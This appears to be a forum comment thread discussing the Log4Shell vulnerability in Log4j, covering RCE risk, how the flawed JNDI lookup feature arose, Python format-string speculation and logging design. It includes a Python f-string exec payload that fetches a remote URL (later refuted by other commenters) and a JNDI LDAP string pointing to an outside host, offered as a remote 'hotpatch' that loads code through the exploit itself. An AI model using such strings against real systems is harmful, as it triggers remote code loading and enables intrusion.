100% this. The JVM itself is a huge, sprawling beast. Adding in an extra 1000 libraries makes that surface area 1000 times worse. There is probably a way to exfiltrate a list of loaded classes via the exploit. (I can't think of one, but I believe there's a good chance such a thing exists). You could also just try looking for one of the zillion known bad classes.
I wanted to highlight that you're really looking at a multi stage attack for RCE. DOS is trivial. Use all the memory, Make a zillion threads, force load libraries that don't exist. I'm only vaguely competent, and I'm pretty sure I can make that happen in half an hour. A full RCE is less, somehow. I can't quite express the difference in risk. As a half assed attempt, I could show a 14 year old how to take down a server in an hour or two, and as I said, I'm only vaguely competent. If you're looking for a full RCE, that would take me time. But over a week or two, I could probably figure it out and be able to explain it.
URL class loader seems like a promising vector. jars have static initializers as part of the manifest, I think I could put that together, eventually. And I suck. The risk is still huge. But like, bob's java shop isn't a target for the equation group. They probably have a day or two to figure it out and fix RCE issues. DOS issues, they're fucked. That's trivial.
Reading this thread gives me energy to keep working on these posts. It's a massive PITA reading through enterprise Java code to be able to accurately explain this Log4j exploit stuff. It makes me happy that y'all are able to have a conversation on the internet because of it and share your ideas about how to exploit it all for RCE!
I feel like with security stuff, awareness is 95% if the battle. So if people get excited and start thinking about how they'd implement a prototype themselves... that's pretty great. It gives me hope that perhaps this world of dependency hell that we're in right now might eventually go away.
I'm definitely a bit of an idealistic person as a dev. Maybe an optimist is the better word? I just want to try to fix these problems and hope that my contributions help. Sometimes it's brutal and exhaust and... this week has been an epic grind.
But that's what it takes to make a difference sometimes, and I'm glad y'all are appreciating the effort. Thanks for the kind words.
Note the classes aren't at fault or doing anything wrong (even though you could imagine other mitigations they could use), they are just conveniently there to use if you have a vulnerability that lets you de-serialize untrusted data.
Agreed, not being snarky, but isn't that what the "R" is in the (R)emote (C)ode (E)xecution is - The ability to trigger arbitrary code execution over a network (especially via a wide-area network such as the Internet)
The attacker can inject an LDAP URL with their own malicious code into a vulnerable website, via a request, that then is logged with logj4. The logging library if vulnerable will actually download and execute this remote malicious code, just by the attacker submitting the bad input. Obviously the vulnerable website needs to be logging this request information.
This why I've given up and just pay to host anything external to scratch my self hosting itch.
If they somehow manage to get in at least they won't be roaming around inside my home network. The flood of failed auth attempts and weird looking strings being sent to my web server is never ending.
It might be something worth reconsidering once the world is on IPv6 and we have proper subnetting we can use at home.
> If they somehow manage to get in at least they won't be roaming around inside my home network.
I mean if that’s your only concern, it’s pretty easy to run Minecraft in a docker container that’s only allowed to accept inbound connections and to make outbound connections to the internet (or more specifically to the Mojang auth server)
> to make outbound connections to the internet (or more specifically to the Mojang auth server)
I believe you can forgo even that; a vanilla server jar can be configured to run in "cracked" mode by setting 'online-mode' to false in server.properties. Skins won't work though, players will have steve/alex skins.
It's documented on the no-longer-official wiki here:
> online-mode - Server checks connecting players against Minecraft account database. Set this to false only if the player's server is not connected to the Internet. Hackers with fake accounts can connect if this is set to false! If minecraft.net is down or inaccessible, no players can connect if this is set to true. Setting this variable to off purposely is called "cracking" a server, and servers that are present with online mode off are called "cracked" servers, allowing players with unlicensed copies of Minecraft to join.
Oh I didn’t know that worked on the official server binary. I remember having to use the mineshafter client and having to play on cracked servers ~12 years ago when I had no way to pay for stuff as a kid. I also tried running a cracked server at home, but banned users could find new IPs faster than I could ban them :(
I guess this is still viable if you know everyone on the server and use a server plugin to auth.
Yes, every exposed webserver needs a heavy firewall and WAP/fail2ban/etc enabled?
Oh you tried to access wpadmin.php? IP gets banned. Too many failed ssh attempts? Banned. Tried to connect to mysql/postgresql? Not running but banned regardless.
Keep the server on your LAN and you should be relatively safe, no? If it's just for your kids and not their friends too, any old spare computer should probably be sufficient to run it.
This vulnerability seems much harder to exploit. I've just checked the services I'm in charge of and while there are a few uses of `${ctx:...}` in those codebases, the corresponding context values are all injected internally and not able to be manipulated by the user.
After reading through it's a pretty bad feature. It should have been blocked. The very nature of what it does is terrible.
Some background:
JNDI alone is fine. You want to load code remotely and run it? Fine. You can do that already in other ways. No issue with JNDI here, go ahead and use it on your server in a controlled way that doesn't involve user input.
I can see a use to string match and send logs different ways.
Now unfortunately this patch flat out uses the 'routing appender' to look for incoming log statements with the pattern ${jndi:logging/context-name} and load that remote JNDI class.
This is such a terrible idea that doesn't pass the sniff test. The person who approved this should have simply read the description of what it does. After matching the pattern ${jndi:logging/context-name} it puts that match into a string 'key' and runs ctx.lookup(convertJndiName(key));
It's similar to someone submitting a patch that says "I want to run eval(user_input)". The only difference is that lookup(convertJndiName()) is a little bit obfuscated since it's not called eval(). I guess the review could be mistaken that it's harmless?. Still i think it's a bad smell. I'm worried for this project. It's probably worth going through everything that 'implements StrLookup' and seeing what they do in the 'lookup(final LogEvent event, final String key)' function. Both event and key are user generated content.
The key thing is that one of the directory services you can use via JNDI is "java", which is a process-local configuration store present by default in enterprise (Java EE) applications. An enterprise web server can run multiple "applications" at once, and each one gets its own configuration in the java directory service.
So, if you have defined a configuration variable app-name-for-logging, then you can look up:
java:comp/env/app-name-for-logging
to get the value. If you are writing a generic logging utility which works across many applications, it might be useful to use this to choose the log file, or just include it in the log output.
The easiest implementation of this was just to allow generic JNDI lookups, which includes LDAP.
What i can't explain is why anyone would legitimately use this feature to make JNDI lookups. It should have been scoped to only lookups in java:comp/env, not arbitrary ones.
What an amazing thing to see, from birth to fiery explosion and then death. That feature may just be the most impactful thing that programmer did ever.
And I'm not trying to be snarky, bugs happen, and so do bad features. It's just amazing the blast radius of this thing.
I haven't validated this assumption but it looks like the patch was rather naive and added the jndi lookup to the Interpolator class and only tested for its usage in the configuration. Being unaware that the interpolator also runs on the full message.
There is no way to build software that reliably handles anonymous data in a way that is understandable to the average citizen.
Which is why e.g. Germany does all elections solely on paper, and still has early results just an hour after the polls close and final results the next morning.
If there was no requirement for vote secrecy, it would be easy. The conflicting requirements between verifiability of results and secrecy of the vote is what makes it hard. I wrote more about this here: https://www.attejuvonen.fi/thesis/
I laughed out loud (and was pleasantly surprised) when I found out how much you understated your expertise. I have only read a small bit of your dissertation, but so far it is informative and interesting.
> If there's no way to build secure software that tallies digits then why are we even here?
Making semi secure software that tallies digits somewhat correctly for the 90% of the time. And its mostly good enogh.
But for important things like elections, making software secure and robust enough is a lot harder (and trusting that it was done so even more) than just using paper.
Same way most of us are still wiping our ass with paper, even though there are some more technologically advanced toilets that probably clean you better.
It's not about tallying digits, it's about maintaining the secret ballot, and making it really hard to commit election fraud. (As opposed to voter fraud, which is an insignificant problem.)
It's such a bad idea that Tom Scott has not one, but two videos on it:
And also, if 20 people can handle ballots from 1000 people (no clue if that's realistic but it doesn't matter), then if you add another 1000 people.
Well... since you added people and the resource you need to count is people it's a self scaling solution. Sure you might need larger facilities, but we're not exactly running out of schools (another thing tied to the population).
The only reasons to make voting electronic are:
* To make money
* To commit election fraud
which is why I said there are no "good" reasons. :)
I believe your parent poster is poking fun at the idea that we can build secure electronic voting machines, when we can't even build a logging library without multiple RCE's. I don't think they insinuate that the voting machines are vulnerable to this specific threat.
Hegel remarks somewhere that all great world-historic facts and personages appear, so to speak, twice. He forgot to add: the first time as tragedy, the second time as farce.
Do you know what logging is? It's something basically all developers use to understand what is happening inside their program. log4j provides an easy to use and flexible logging facility so programmers can quickly move past basics and into getting the work done.
In the old days, programmers would write their own logging code. In the modern era, basically all operational environments want to get that logging data and tools like splunk and SIEM products use it for understanding how well services are running, looking for security problems, etc. Logs also need to be rotated, not overflow the hard disk, might need to be sent elsewhere. So for the combination of being easy to use but flexible to configure, something like log4j is perfect.
Basically all languages have something like log4j.
slf4j is also a popular java logging package. Sometimes slf4j and log4j are used together.
haha i imagine a simple console.log('${jndi:....}) on some website will trigger some java log processing thing on my TV to re-log it and my tv will be hacked just by visiting a website
It's funny that this vuln kind of already exists in other software that uses printf() allowing the user to specify the format string. (Not nearly as easy as this particular bug of course!) Maybe we'll have a mini renaissance of format string vulns now?
And it's not as sexy, but if you can control the format string you can also inject things like SQL commands or HTTP headers into a convenient place. It's basically just an input validation exploit that in the right circumstances leads to other attacks.
Played around with python for a similar attack and while it needs import and usage of f-string's i was rather taken back how easy it would be to spam the internet with `f"""{exec("import urllib.request;urllib.request.urlopen('http://localhost:8000').read()")}"""` and variants, see what servers bite and then try to send them a more potent attack.
So i personally believe log4sh type attacks across languages will become a lot more common. Because the risk is relatively low and a lot can be automated.
Python f-strings don't work like that. The expression is evaluated when the string constant is defined, not when it's used, so your scenario is "code execution leads to code execution".
>>> def server(userdata):
... print("Your data:", userdata)
...
>>> value = f"Printing... {print('Eval!')}"
Eval!
>>> server(value)
Your data: Printing... None
Can you elaborate? I don't see how you would exploit Python with a string like that unless there's an `eval` somewhere in Python's logger? I wouldn't exactly put it past the language, for sure, but I'm not aware of that being the case.
The reason this works in the java library is that the library explicitly adds functionality to evaluate the strings that are passed in, and has a meta-language for computing based on those values.
The author of flask(and a lot more python stuff) goes a bit into detail here[0].
And as pointed out by another commenter my scenario is imaginary because user input needs to be passed to a f-strings. But I did update my original example with a tested `exec` because then you can import modules.
I do see my imaginary attack as low effort for a grey- or black-hat to automate and weaponize.
As mentioned/asked by parent, will we see mini renaissance of format string vulnerabilities, and I believe the answer is yes.
Python 3.10.1 (main, Dec 11 2021, 17:22:55) [GCC 11.1.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(f"""{print("hello")}""")
hello
None
So Python runs the expression in { } and interpolates the result into the string.
Presumably the { } has access to anything that's in scope.
(I'm not quite sure how common patterns are, but I assume the person is replying to is imagining a scenario where an attack is able to put some string payload into the { } before interpolation.)
You may find that actually making this code to use data from user-provided data will make the code look quite unnatural and I doubt it would be accidentally written.
Yeah, that's why I was quite skeptical about the exact scenario... it would probably look very out of place, but I don't have enough RW experience in Python to say for sure.
In my hypothetical scenario im not targeting the python logger but rather `''.format()` and f-strings that parse user input naively. A lot of people on /r/ mentions that they started to get '${jndi:...' in their server logs.
So malicious actors is already shotgunning the log4sh attack so what stop them from spamming `{exec("import urllib.request;urllib.request.urlopen('http://example.com').read()")}` and see what stick.
While my example is for python im sure other languages will have similar issues and we will see a rise in format string attacks.
I don't think this is right. .format() is not running any attacker controlled code. It might be formatting attacker controlled input, but the attacker has no control over the execution.
> o what stop them from spamming
Well I can't imagine how I would actually get that to turn into anything other than just a raw string that gets printed to the screen? Like I said, unless there's an eval somewhere it's not an issue.
edit: OK, I see the problem now. The flask article is a lot clearer.
The attacker can't control execution at all, or even really cause execution. What they can do is get your string to include information it should not - quite a footgun, but nothing close to RCE.
edit2: I maybe see a way this could be bad (if the attacker controls the format string that you call .format on), but I can't actually get it working myself.
So here's the thing. The attack as you've described does not work. Python won't just execute that string, you'll get a KeyError. What you need to do is, given a value provided to the string, call some sort of methods on that value such that you can perform your attack. This should be possible.
edit:
I'm trying to get this attack to work. So far, nah.
My assumptions are:
1. Attacker has full control over format string
2. `requests` is imported already (obviously you could just use the stdlib but I'm lazy)
3. An object or class is passed in
In theory I can construct a class from an object like this:
>>> "{0.__class__('requests', (requests.Request,), dict())()}".format(Foo)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: type object 'Foo' has no attribute '__class__('requests', (requests'
It seems that Python does not just naively execute what's inside of this thing.
Similarly,
>>> "{0.__init__((lambda: requests.get('google.com'))())}".format(Foo)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: type object 'Foo' has no attribute '__init__((lambda'
If there's a way to exploit this for actual code execution I can't find it easily.
f-strings don't "parse user input". .format doesn't have access to objects not explicitly provided to the call, and can't call functions. So again, how do you intend to trigger any of this if not through a hypothetical logger that uses eval?
Thanks for invalidating my naive/fud scenario, I must apologize for fearmongering, when I played with it in a py repl it really felt like a vector for attack.
I up-voted all parties trying to prove me wrong, and someone already down-voted me(rightfully).
Calendar date = Calendar.getInstance();
PrintStream ps = new PrintStream(new FileOutputStream(new File("log.txt")), true, "UTF-8");
ps.write(new SimpleDateFormat("yy-MM-dd HH:mm:ss.SSS").format(date.getTime()) + " message that does not need LDAP".getBytes("UTF-8"));
3 lines that replace 1705KB of log4j-core-2.14.1.jar
"It does more than that..." I hear you mutter... yes it does more than that!
Please build something that you are responsible for.
That's not how logging works in real world. It might be sufficient for a pet project running on a single machine, but not when you have hundreds of instances running in parallel, when you to send logs to a central system for parsing/analysis in near realtime, when you need an ability to configure logging levels and formats in flight etc. and do all that with minimal impact on the performance. I don't advocate JNDI-like functionality enabled by default (as any sane person), but there's a middleground somewhere in between.
Log shipping is usually based on tailing a file on disk in a separate process. Eg FileBeat, Fluentd, Promtail, logrotate.
Separation of concerns. Keeps infrastructure details out of your app and is more likely to at least leave a trace on disk in case the central logging goes south, when you need it the most.
On demand changing of log levels is still something worth keeping in application, depending on your verbosity volumes.
Fair enough, but that's more of how you package things - you can either have a separate class in Java inside your jar or you can have a standalone agent application (often also yet another Java application), but the attack surface doesn't change much. If log4j would be a standalone agent running on the same application server with this RCE vulnerability, the end result would be exactly the same.
Didn’t mean to split the log shipper for sake of security but since you brought it up :) RCE in the app allows reading secrets the application holds in memory, a lot more difficult from another process. And if you run the log scraper in a less privileged container you could restrict the blast radius to basically nothing except shipping fake logs to the central system.
But sure, take this reasoning too far and you end up with micro service spaghetti, so some balance is needed.
While in theory you can, I'm yet to see a proper defense in depth implementation despite having >10 years in the industry. In my book, if you get shell access to pod, it's game over, as these secrets in program's memory are probably also available as environmental variables, accessible in k8s Secrets etc., not to mention other ways to compromise an underlying node and the whole cluster.. But yes, this is already too far from the original topic.
Actually some well-known logging solutions work exactly like this. There's a local agent running, listens to file changes and forwards them. Next more complex solution would be syslog with TLS, even supports log routing and is packaged with practically every Linux distribution.
After all I think Java isn't that bad but all this legacy stuff needs to be dropped.
Please handle logging levels, control of logging levels by package, log file rotation and logging to stdout instead or in addition to a file. Also, log statements should contain the calling class and method.
Please also make sure that your logging implementation can be used by any libraries that you reference, I'd like to have their logs in the same format as the application logs and be able to control their level as well.
Do you still want to build something from scratch and maintain it yourself? Or would you rather not waste weeks of your time reinventing something that already exists and that other developers are already familiar with?
In a corporate setting he's probably right. Java came of age in the early 00s when a new generation of programmers were seeking a revolution, and there was a Cambrian explosion of interfaces, modularity, and pluggability, first with J2EE and with Spring being the second wave. The pendulum of change is always in swing, and with time some people grew tired (but many didn't) of enormous "enterprise" application frameworks and sought minimalism again in their systems (see also [1] in general and [2] for something in this vein relevant to the bug in question.)
Java is kind of 'heavy'. One project I was changing yesterday. Well over 150MB of jar files dragged in. There is maybe 50 lines of total code in the whole project. You put in the right depend in your pom file and it seems like it drags in half of the java world. Plus whatever jar files are flatpacked into those.
So with the fun bit of flatpack you have to look at all of your dependencies and see if they are somehow sneaking that bad boy in. Luckily most just use pom depends and just pull the jar in and you can override at the top level.
Pity the poor sod who (for this fix) has to update from java 7 to java 8 only to find that he's on a version of spring which doesn't run on java 8 and then has to update spring first.
When one needs to respond without delay to an vulnerability being exploited in the wild, being up-to-date with other dependencies means that you need only pay attention to the one with the security flaw. Pay in small instalments over time or pay in one large hit (at the least convenient time, obviously...), but there is no avoiding it.
In an age where random code is downloaded from the internet on trust and included in projects on a whim without inspection, it's noteworthy that people don't use the very same features to keep aggressively up to date. (The reason is that the long-term benefit of doing so is not immediately obvious to the most influential stakeholders of a project.) Sic transit gloria mundi.
Because in a company setting at least, you will soon discover that you need more than file-based logs in the specific format some coder defined for his pet project. So, you start logging to a database which is easy enough and then you start writing some simple templating code so that different logalizers can work on the logs etc. And then you discover that your logging is slowing down the whole application as more users are added and so on.
In the end, you implement a subset of log4j, just worse. What you should have looked at is one of the lighter logging libraries and use slf4fj to switch them out if you need more.
So? The fact that someone needs this functionality doesn't mean everyone needs it. What you are describing is literally just software bloat, and is the root of the problem with log4j - and many, perhaps most, other vulnerabilities.
And yes, slf4j would be a proper solution, if it were the default.
I mean, if we decided to build everything from scratch using only the OS and a programming language, we wouldn't be building any products. Recommending using a hilariously basic log (straight to file, no modules/level control, no buffer to avoid performance hits, no multithread support) instead of using a established library for logging is pretty naive. Yes, one should know that dependencies can introduce security problems, but the protection against that is not "remove all dependencies and build everything yourself".
${jndi:ldap://hotpatch.log4shell.com:1389/a}
If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.
Source code is on GitHub here[0][1] if you want to host it yourself.
(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)
0: https://github.com/lunasec-io/lunasec/releases/
1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...
2: https://github.com/Cybereason/Logout4Shell